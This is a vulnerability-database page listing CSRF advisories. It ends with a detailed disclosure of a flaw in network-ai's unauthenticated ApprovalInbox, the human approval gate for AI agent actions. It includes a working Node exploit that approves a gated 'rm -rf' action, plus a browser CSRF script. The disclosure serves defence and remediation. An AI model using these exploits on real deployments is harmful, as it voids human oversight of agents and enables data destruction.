Common Weakness Enumeration

CWE-352

Allowed

Cross-Site Request Forgery (CSRF)

Abstraction: Compound · Status: Stable

API response cwe.mitre.org

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

14231 vulnerabilities reference this CWE, most recent first.

GHSA-MX92-QC4P-WPV8

Vulnerability from github – Published: 2022-05-14 02:56 – Updated: 2022-05-14 02:56
VLAI
Details

Multiple cross-site request forgery (CSRF) vulnerabilities in Apache Archiva 1.0 through 1.2.2, and 1.3.x before 1.3.5, allow remote attackers to hijack the authentication of administrators.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2011-1026"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-06-02T20:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple cross-site request forgery (CSRF) vulnerabilities in Apache Archiva 1.0 through 1.2.2, and 1.3.x before 1.3.5, allow remote attackers to hijack the authentication of administrators.",
  "id": "GHSA-mx92-qc4p-wpv8",
  "modified": "2022-05-14T02:56:15Z",
  "published": "2022-05-14T02:56:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-1026"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/67671"
    },
    {
      "type": "WEB",
      "url": "http://archiva.apache.org/docs/1.3.5/release-notes.html"
    },
    {
      "type": "WEB",
      "url": "http://archiva.apache.org/security.html"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/fulldisclosure/2011-05/0532.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/44693"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/8266"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/518168/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/48015"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-MX9V-H7X6-C37P

Vulnerability from github – Published: 2024-04-26 15:30 – Updated: 2026-04-28 21:34
VLAI
Details

Cross-Site Request Forgery (CSRF) vulnerability in Jegstudio Financio.This issue affects Financio: from n/a through 1.1.3.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-33690"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-26T13:15:46Z",
    "severity": "MODERATE"
  },
  "details": "Cross-Site Request Forgery (CSRF) vulnerability in Jegstudio Financio.This issue affects Financio: from n/a through 1.1.3.",
  "id": "GHSA-mx9v-h7x6-c37p",
  "modified": "2026-04-28T21:34:58Z",
  "published": "2024-04-26T15:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33690"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/financio/wordpress-financio-theme-1-1-3-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MX9W-V2PF-GR86

Vulnerability from github – Published: 2024-12-16 15:31 – Updated: 2026-04-01 18:32
VLAI
Details

Cross-Site Request Forgery (CSRF) vulnerability in Cyle Conoly WP-HideThat allows Stored XSS.This issue affects WP-HideThat: from n/a through 1.2.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-54415"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-16T15:15:19Z",
    "severity": "HIGH"
  },
  "details": "Cross-Site Request Forgery (CSRF) vulnerability in Cyle Conoly WP-HideThat allows Stored XSS.This issue affects WP-HideThat: from n/a through 1.2.",
  "id": "GHSA-mx9w-v2pf-gr86",
  "modified": "2026-04-01T18:32:50Z",
  "published": "2024-12-16T15:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54415"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/wp-hide-that/vulnerability/wordpress-wp-hidethat-plugin-1-2-csrf-to-stored-cross-site-scripting-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MXF4-VPPX-9GVW

Vulnerability from github – Published: 2022-05-17 00:37 – Updated: 2022-05-17 00:37
VLAI
Details

Multiple cross-site request forgery (CSRF) vulnerabilities in apply.cgi in DD-WRT 24 sp1 and earlier allow remote attackers to hijack the authentication of administrators for requests that (1) execute arbitrary commands via the ping_ip parameter; (2) change the administrative credentials via the http_username and http_passwd parameters; (3) enable remote administration via the remote_management parameter; or (4) configure port forwarding via certain from, to, ip, and pro parameters.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2008-6974"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-08-14T15:16:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple cross-site request forgery (CSRF) vulnerabilities in apply.cgi in DD-WRT 24 sp1 and earlier allow remote attackers to hijack the authentication of administrators for requests that (1) execute arbitrary commands via the ping_ip parameter; (2) change the administrative credentials via the http_username and http_passwd parameters; (3) enable remote administration via the remote_management parameter; or (4) configure port forwarding via certain from, to, ip, and pro parameters.",
  "id": "GHSA-mxf4-vppx-9gvw",
  "modified": "2022-05-17T00:37:14Z",
  "published": "2022-05-17T00:37:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6974"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/9209"
    },
    {
      "type": "WEB",
      "url": "http://www.dd-wrt.com/phpBB2/viewtopic.php?t=55173"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/499024"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/499119"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/499132"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/499135"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-MXGF-QCVV-MCP4

Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2026-01-20 15:31
VLAI
Details

Cross-Site Request Forgery (CSRF) vulnerability in Valentin Agachi Create Posts & Terms create-posts-terms allows Stored XSS.This issue affects Create Posts & Terms: from n/a through <= 1.3.1.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-49351"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-09T16:17:58Z",
    "severity": "HIGH"
  },
  "details": "Cross-Site Request Forgery (CSRF) vulnerability in Valentin Agachi Create Posts \u0026amp; Terms create-posts-terms allows Stored XSS.This issue affects Create Posts \u0026amp; Terms: from n/a through \u003c= 1.3.1.",
  "id": "GHSA-mxgf-qcvv-mcp4",
  "modified": "2026-01-20T15:31:58Z",
  "published": "2025-12-09T18:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49351"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/create-posts-terms/vulnerability/wordpress-create-posts-terms-plugin-1-3-1-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/create-posts-terms/vulnerability/wordpress-create-posts-terms-plugin-1-3-1-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MXHG-MC93-9G8M

Vulnerability from github – Published: 2024-07-30 00:34 – Updated: 2026-04-02 21:31
VLAI
Details

A race condition was addressed with additional validation. This issue is fixed in macOS Ventura 13.6.8, iOS 17.6 and iPadOS 17.6, watchOS 10.6, tvOS 17.6, macOS Sonoma 14.6. A malicious attacker with arbitrary read and write capability may be able to bypass Pointer Authentication.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-40815"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352",
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-29T23:15:13Z",
    "severity": "HIGH"
  },
  "details": "A race condition was addressed with additional validation. This issue is fixed in macOS Ventura 13.6.8, iOS 17.6 and iPadOS 17.6, watchOS 10.6, tvOS 17.6, macOS Sonoma 14.6. A malicious attacker with arbitrary read and write capability may be able to bypass Pointer Authentication.",
  "id": "GHSA-mxhg-mc93-9g8m",
  "modified": "2026-04-02T21:31:52Z",
  "published": "2024-07-30T00:34:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40815"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/120909"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/120911"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/120912"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/120914"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/120916"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT214117"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT214119"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT214120"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT214122"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT214124"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT214117"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT214119"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT214120"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT214122"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT214124"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jul/16"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jul/18"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jul/19"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jul/21"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jul/22"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MXHP-C6QJ-62VP

Vulnerability from github – Published: 2022-05-02 03:58 – Updated: 2022-05-02 03:58
VLAI
Details

Cross-site request forgery (CSRF) vulnerability in administration/admins.php in Ad Manager Pro (aka AdManagerPro) 3.0 allows remote attackers to hijack the authentication of administrators for requests that create new administrative users via an admin_created action. NOTE: some of these details are obtained from third party information.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2009-4828"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-04-27T15:30:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site request forgery (CSRF) vulnerability in administration/admins.php in Ad Manager Pro (aka AdManagerPro) 3.0 allows remote attackers to hijack the authentication of administrators for requests that create new administrative users via an admin_created action.  NOTE: some of these details are obtained from third party information.",
  "id": "GHSA-mxhp-c6qj-62vp",
  "modified": "2022-05-02T03:58:42Z",
  "published": "2022-05-02T03:58:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4828"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/37713"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/10438"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2009/3530"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-MXJX-28VX-XJJJ

Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:42
VLAI
Summary
Network-AI: ApprovalInbox HTTP server has no authentication — anyone can approve pending agent actions
Details

Summary

network-ai's ApprovalInbox (lib/approval-inbox.ts) is a shipped, exported, documented feature — "a web-accessible approval queue with REST API … and SSE streaming" (SECURITY.md). It is the network surface of the human-in-the-loop Approval Gate, which ApprovalGate uses to require explicit human approval for "high-risk operations (writes, shell commands, budget spend)" (SECURITY.md). The HTTP server it exposes has no authentication of any kind and sets Access-Control-Allow-Origin: * on every route, including the state-changing POST /approvals/:id/approve and /deny.

As a result, any party who can send an HTTP request to the inbox port — a co-located process, a container/SSRF on the same host, a remote client when the operator binds a non-loopback address, or any website the operator visits in a browser (via the wildcard CORS) — can enumerate pending approvals and approve them, defeating the entire human-in-the-loop control and causing the gated high-risk action (e.g. a shell command the agent was holding for review) to execute without consent.

This is the same vulnerability class the maintainer has already fixed twice on the MCP server (GHSA-fj4g-2p96-q6m3 missing auth; GHSA-j3vx-cx2r-pvg8 empty default secret) — the auxiliary ApprovalInbox server never received that hardening.

  • Affected: network-ai <= 5.11.0 (current latest), lib/approval-inbox.ts — httpHandler() / routeRequest() / startServer(). ApprovalInbox is public API (exported from index.ts:1126).
  • CWE: CWE-862 (Missing Authorization) + CWE-352 (Cross-Site Request Forgery, via wildcard CORS).
  • CVSS v3.1 (proposed):
  • Drive-by CSRF against the default 127.0.0.1 deployment: AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N = 5.9 Medium.
  • Direct request when the operator binds a non-loopback address (or local/SSRF reach): AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N = 8.1 High.

Details

No authentication on the request pipeline (lib/approval-inbox.ts)

httpHandler() sets a wildcard CORS policy and routes every request straight to routeRequest() with no auth check:

// lib/approval-inbox.ts:250-275
httpHandler() {
  return (req, res) => {
    ...
    res.setHeader('Access-Control-Allow-Origin', '*');          // 256  <-- wildcard CORS
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
    if (req.method === 'OPTIONS') { res.writeHead(204); res.end(); return; }   // preflight OK for any origin
    ...
    this.routeRequest(req, res, subPath, url);                  // 273  <-- no token / secret / origin gate
  };
}

routeRequest() exposes list + approve/deny with no credential check (default pathPrefix = /approvals):

// lib/approval-inbox.ts:369-405
routeRequest(req, res, subPath, url) {
  if (subPath === '/' && req.method === 'GET') {                       // GET /approvals/  -> enumerate pending ids
    this.sendJson(res, 200, this.list(status)); return;
  }
  ...
  const approveMatch = subPath.match(/^\/([a-f0-9]+)\/approve$/);      // POST /approvals/:id/approve
  if (approveMatch && req.method === 'POST') {
    this.readBody(req).then((body) => {
      const approvedBy = typeof body.approvedBy === 'string' ? body.approvedBy : 'anonymous';  // defaults to 'anonymous'
      const entry = this.approve(approveMatch[1], approvedBy, reason);  // resolves the gate -> action proceeds
      ...
    });
  }
}

approve() resolves the pending promise that ApprovalGate is awaiting, so the gated action proceeds:

// lib/approval-inbox.ts:172-183 / 327-339
approve(id, approvedBy, reason) {
  ...
  return this.resolve(id, 'approved', { approved: true, approvedBy, reason });  // promise -> {approved:true}
}

startServer() binds the handler (default 127.0.0.1, but any host the caller passes):

// lib/approval-inbox.ts:281-286
startServer(port, hostname = '127.0.0.1') {
  const server = createServer(this.httpHandler());
  server.listen(port, hostname);
  return server;
}

There is no option to supply a secret/token (unlike McpSseServer/McpHttpServer, which require one and fail closed), and the wildcard ACAO: * is hardcoded — an operator cannot configure their way out of it.

Why the wildcard CORS matters

The two routes needed for exploitation are reachable cross-origin: - GET /approvals/?status=pending is a CORS simple request; ACAO: * lets a malicious page read the response and learn the pending approval ids. - POST /approvals/:id/approve with Content-Type: application/json triggers a preflight, which succeeds because the server answers OPTIONS with ACAO: *, Access-Control-Allow-Methods: …POST…, and Access-Control-Allow-Headers: Content-Type. The browser then sends the approve. approvedBy defaults to 'anonymous', so no special body is required.

So a website the operator merely visits while the inbox is running can enumerate and approve all pending high-risk actions.

Proof of Concept

Self-contained against the published network-ai@5.11.0 package (no project files needed; re-confirmed 2026-06-17). It starts the documented ApprovalInbox server, has an agent submit a high-risk gated action, then acts as an unauthenticated client.

mkdir na-poc && cd na-poc && npm init -y >/dev/null && npm i network-ai@5.11.0
node poc.mjs

poc.mjs:

import { ApprovalInbox } from "network-ai";
import http from "node:http";

const PORT = 7798;
const req = (method, path, body) => new Promise((resolve, reject) => {        // plain client — NO Authorization header
  const data = body ? JSON.stringify(body) : undefined;
  const r = http.request({ host: "127.0.0.1", port: PORT, method, path,
    headers: data ? { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(data) } : {} },
    (res) => { let b = ""; res.on("data", c => b += c); res.on("end", () => { let j; try { j = JSON.parse(b); } catch { j = b; } resolve({ status: res.statusCode, json: j }); }); });
  r.on("error", reject); if (data) r.write(data); r.end();
});

const inbox = new ApprovalInbox();
const gate = inbox.callback();                                 // what ApprovalGate calls before a dangerous action
inbox.startServer(PORT, "127.0.0.1");                          // the documented "web-accessible approval queue"
await new Promise(r => setTimeout(r, 150));

let resolved = false;
const decisionP = gate({ action: "shell_execute", target: "rm -rf /important/data",
  agentId: "worker-1", justification: "cleanup", riskLevel: "high" }).then(d => (resolved = true, d));
console.log("Gated dangerous action pending human approval. resolved =", resolved);

const list = await req("GET", "/approvals/?status=pending");   // attacker enumerates pending approvals
const id = list.json[0].id;
const approve = await req("POST", `/approvals/${id}/approve`, { approvedBy: "attacker" });  // and approves one
console.log("[attacker] GET /approvals/  (no auth) ->", list.status, "ids:", list.json.map(e => e.id));
console.log("[attacker] POST /approvals/" + id + "/approve (no auth) ->", approve.status, approve.json?.status);
const decision = await decisionP;
console.log(">>> gate decision delivered to agent:", JSON.stringify(decision), "| WIPED WITHOUT AUTH:", decision.approved && resolved);

Output:

Gated dangerous action pending human approval. resolved = false
[attacker] GET /approvals/  (no auth) -> 200 ids: [ '07d6f277efe35ac1' ]
[attacker] POST /approvals/07d6f277efe35ac1/approve (no auth) -> 200 approved
>>> gate decision delivered to agent: {"approved":true,"approvedBy":"attacker"} | WIPED WITHOUT AUTH: true

The gated action (shell_execute: rm -rf /important/data, riskLevel: high) is approved by a client that sent no Authorization header, and the ApprovalGate promise resolves { approved: true } — the agent proceeds.

Browser CSRF variant (no tooling, just a visited page):

<script>
fetch('http://127.0.0.1:PORT/approvals/?status=pending')      // ACAO:* -> readable
  .then(r => r.json())
  .then(list => list.forEach(e =>
    fetch(`http://127.0.0.1:PORT/approvals/${e.id}/approve`, {
      method: 'POST', headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ approvedBy: 'attacker' })          // preflight passes via ACAO:*
    })));
</script>

Impact

The Approval Gate is the package's human-in-the-loop safety control for high-risk agent operations (shell commands, file writes, budget spend — SECURITY.md). Unauthenticated, cross-origin access to its inbox lets an attacker: - Approve any pending gated action → the agent executes an operation that was explicitly held for human review (integrity/availability impact; the gated action is whatever the agent proposed). - Read pending requests (GET /approvals, /stats) → disclosure of queued action details (command strings, file paths, justifications). - Deny pending actions → suppress legitimate operations.

The attacker controls the approval decision, not the action content, but the net effect is that the human-in-the-loop guarantee is void for any deployment that exposes the inbox — which is the inbox's documented purpose ("web-accessible approval queue").

Alignment with the security policy & documentation (in scope; not intended/documented behavior)

This finding does not contradict any documented design choice — it exposes a gap the documentation overlooks, and it matches a vulnerability class the maintainer has already accepted:

  • Documented as a security measure, never as intentionally unauthenticated. SECURITY.md lists the Approval Inbox under "Security Measures in Network-AI" — "ApprovalInbox provides a web-accessible approval queue with REST API (/list, /approve/:id, /deny/:id, /stats)" — and README.md / ENTERPRISE.md describe it the same way. No document states it requires authentication, nor that the operator must place it behind their own auth. A documented security control (human-in-the-loop approval for "writes, shell commands, budget spend") that anyone can bypass without credentials is a defect in that control, not its intended behavior.
  • The project's own threat model treats this exact adversary as in scope. THREAT_MODEL.md §3.1 designs against an "Unauthenticated Network Caller" that can reach a bound TCP port, with mitigations: require a non-empty secret, default to 127.0.0.1, warn on non-loopback bind. It applies all of these to the MCP server — but it never lists ApprovalInbox as a network boundary at all (an omission, not a carve-out), and the inbox has none of those mitigations.
  • Direct precedent — the maintainer already fixed this class. The identical issue on the MCP server was accepted and patched: GHSA-j3vx-cx2r-pvg8 ("Unauthenticated Cross-Origin MCP Tool Invocation," fixed in v5.4.5 by requiring a secret and restricting CORS to localhost origins) and GHSA-r78r-rwrf-rjwp (fail-closed on empty secret, v5.7.2). The ApprovalInbox is a second network-reachable server with the same flaw; it simply never received that hardening.
  • No carve-out covers it. The threat model's Explicit Non-Goals (localhost-IPC encryption, SLA, anti-analysis, npm-registry compromise) don't apply, and the documented ClawHub "by-design" Notes (ASI01 goal-hijack, ASI03 advisory tokens, ASI06 context poisoning, ASI07 inter-agent messaging) are unrelated — the approval inbox is a control plane, not inter-agent transport.
  • The operator cannot fix it within the library. Unlike the MCP server (which now accepts a secret), ApprovalInbox exposes no auth option and hardcodes Access-Control-Allow-Origin: *. So "the operator should add auth / restrict CORS" is not available — there is no hook to do so. And "it's opt-in / operator-exposed" did not exempt the MCP server, which is equally optional and explicitly started.

Honest scope caveat (state it plainly in the report). ApprovalInbox.startServer() is opt-in (not auto-started by a CLI bin) and defaults to 127.0.0.1, so the realistic vectors are (a) the wildcard-CORS drive-by from a page the operator visits, (b) a co-located/SSRF local process, or (c) a non-loopback bind. That bounds severity to Medium–High — but it is squarely the same class, on the same kind of surface, that the project's threat model and prior advisories already treat as a vulnerability.

Recommended fix

  1. Require a bearer secret on the inbox HTTP server, fail closed on empty secret, and verify it on /approve, /deny, and ideally the list/stats/SSE routes — mirroring the hardening already applied to McpSseServer/McpHttpServer.
  2. Remove the hardcoded Access-Control-Allow-Origin: *; default to no CORS (same-origin) or an explicit allowlist, and never reflect * on the mutating routes.
  3. Optionally add a CSRF token / require a non-simple custom header on POST to block browser-driven approval.

References

  • CWE-862, CWE-352
  • Affected: lib/approval-inbox.ts (httpHandler l.256 CORS, routeRequest l.369-405 no-auth approve/deny, startServer l.281); exported at index.ts:1126.
  • Same class as prior accepted advisories: GHSA-fj4g-2p96-q6m3 (MCP missing auth, fixed v5.1.3), GHSA-j3vx-cx2r-pvg8 (MCP unauthenticated cross-origin invocation — fixed v5.4.5 by requiring a secret + restricting CORS to localhost), GHSA-r78r-rwrf-rjwp (MCP fail-closed on empty secret, v5.7.2). The ApprovalInbox server never received this hardening.
  • Documentation this finding is measured against: SECURITY.md (Approval Inbox listed under "Security Measures"; Approval Gate = human-in-the-loop for "writes, shell commands, budget spend"), THREAT_MODEL.md §3.1 ("Unauthenticated Network Caller" adversary + its mitigations), README.md / ENTERPRISE.md ("web-accessible approval queue"). None document the inbox as intentionally unauthenticated or require operator-supplied auth.
  • Disclosure: GitHub private security advisory (Jovancoding/Network-AI → Security → "Report a vulnerability"), per SECURITY.md.

Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install network-ai@5.12.2 — published to npm with provenance.

ApprovalInbox now accepts a secret option. When set, the mutating endpoints POST /:id/approve and POST /:id/deny require an Authorization: Bearer <secret> header, validated in constant time with crypto.timingSafeEqual. startServer() already binds to 127.0.0.1 by default; operators exposing the inbox on a network must set a secret.

All 3,269 tests pass against the patched build. Thanks to @EchoSkorJjj for the responsible disclosure.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "network-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-352",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:42:32Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`network-ai`\u0027s `ApprovalInbox` (`lib/approval-inbox.ts`) is a shipped, exported, documented feature \u2014 *\"a web-accessible approval queue with REST API \u2026 and SSE streaming\"* (SECURITY.md). It is the network surface of the **human-in-the-loop Approval Gate**, which `ApprovalGate` uses to require explicit human approval for *\"high-risk operations (writes, shell commands, budget spend)\"* (SECURITY.md). The HTTP server it exposes has **no authentication of any kind** and sets **`Access-Control-Allow-Origin: *`** on every route, including the state-changing `POST /approvals/:id/approve` and `/deny`.\n\nAs a result, any party who can send an HTTP request to the inbox port \u2014 a co-located process, a container/SSRF on the same host, a remote client when the operator binds a non-loopback address, **or any website the operator visits in a browser (via the wildcard CORS)** \u2014 can **enumerate pending approvals and approve them**, defeating the entire human-in-the-loop control and causing the gated high-risk action (e.g. a shell command the agent was holding for review) to execute without consent.\n\nThis is the same vulnerability class the maintainer has already fixed twice on the MCP server (GHSA-fj4g-2p96-q6m3 missing auth; GHSA-j3vx-cx2r-pvg8 empty default secret) \u2014 the auxiliary `ApprovalInbox` server never received that hardening.\n\n- **Affected:** `network-ai \u003c= 5.11.0` (current latest), `lib/approval-inbox.ts` \u2014 `httpHandler()` / `routeRequest()` / `startServer()`. `ApprovalInbox` is public API (exported from `index.ts:1126`).\n- **CWE:** [CWE-862](https://cwe.mitre.org/data/definitions/862.html) (Missing Authorization) + [CWE-352](https://cwe.mitre.org/data/definitions/352.html) (Cross-Site Request Forgery, via wildcard CORS).\n- **CVSS v3.1 (proposed):**\n  - Drive-by CSRF against the default `127.0.0.1` deployment: `AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N` = **5.9 Medium**.\n  - Direct request when the operator binds a non-loopback address (or local/SSRF reach): `AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` = **8.1 High**.\n\n## Details\n\n### No authentication on the request pipeline (`lib/approval-inbox.ts`)\n\n`httpHandler()` sets a wildcard CORS policy and routes every request straight to `routeRequest()` with **no auth check**:\n\n```js\n// lib/approval-inbox.ts:250-275\nhttpHandler() {\n  return (req, res) =\u003e {\n    ...\n    res.setHeader(\u0027Access-Control-Allow-Origin\u0027, \u0027*\u0027);          // 256  \u003c-- wildcard CORS\n    res.setHeader(\u0027Access-Control-Allow-Methods\u0027, \u0027GET, POST, OPTIONS\u0027);\n    res.setHeader(\u0027Access-Control-Allow-Headers\u0027, \u0027Content-Type\u0027);\n    if (req.method === \u0027OPTIONS\u0027) { res.writeHead(204); res.end(); return; }   // preflight OK for any origin\n    ...\n    this.routeRequest(req, res, subPath, url);                  // 273  \u003c-- no token / secret / origin gate\n  };\n}\n```\n\n`routeRequest()` exposes list + approve/deny with no credential check (default `pathPrefix` = `/approvals`):\n\n```js\n// lib/approval-inbox.ts:369-405\nrouteRequest(req, res, subPath, url) {\n  if (subPath === \u0027/\u0027 \u0026\u0026 req.method === \u0027GET\u0027) {                       // GET /approvals/  -\u003e enumerate pending ids\n    this.sendJson(res, 200, this.list(status)); return;\n  }\n  ...\n  const approveMatch = subPath.match(/^\\/([a-f0-9]+)\\/approve$/);      // POST /approvals/:id/approve\n  if (approveMatch \u0026\u0026 req.method === \u0027POST\u0027) {\n    this.readBody(req).then((body) =\u003e {\n      const approvedBy = typeof body.approvedBy === \u0027string\u0027 ? body.approvedBy : \u0027anonymous\u0027;  // defaults to \u0027anonymous\u0027\n      const entry = this.approve(approveMatch[1], approvedBy, reason);  // resolves the gate -\u003e action proceeds\n      ...\n    });\n  }\n}\n```\n\n`approve()` resolves the pending promise that `ApprovalGate` is awaiting, so the gated action proceeds:\n\n```js\n// lib/approval-inbox.ts:172-183 / 327-339\napprove(id, approvedBy, reason) {\n  ...\n  return this.resolve(id, \u0027approved\u0027, { approved: true, approvedBy, reason });  // promise -\u003e {approved:true}\n}\n```\n\n`startServer()` binds the handler (default `127.0.0.1`, but any host the caller passes):\n\n```js\n// lib/approval-inbox.ts:281-286\nstartServer(port, hostname = \u0027127.0.0.1\u0027) {\n  const server = createServer(this.httpHandler());\n  server.listen(port, hostname);\n  return server;\n}\n```\n\nThere is **no option** to supply a secret/token (unlike `McpSseServer`/`McpHttpServer`, which require one and fail closed), and the wildcard 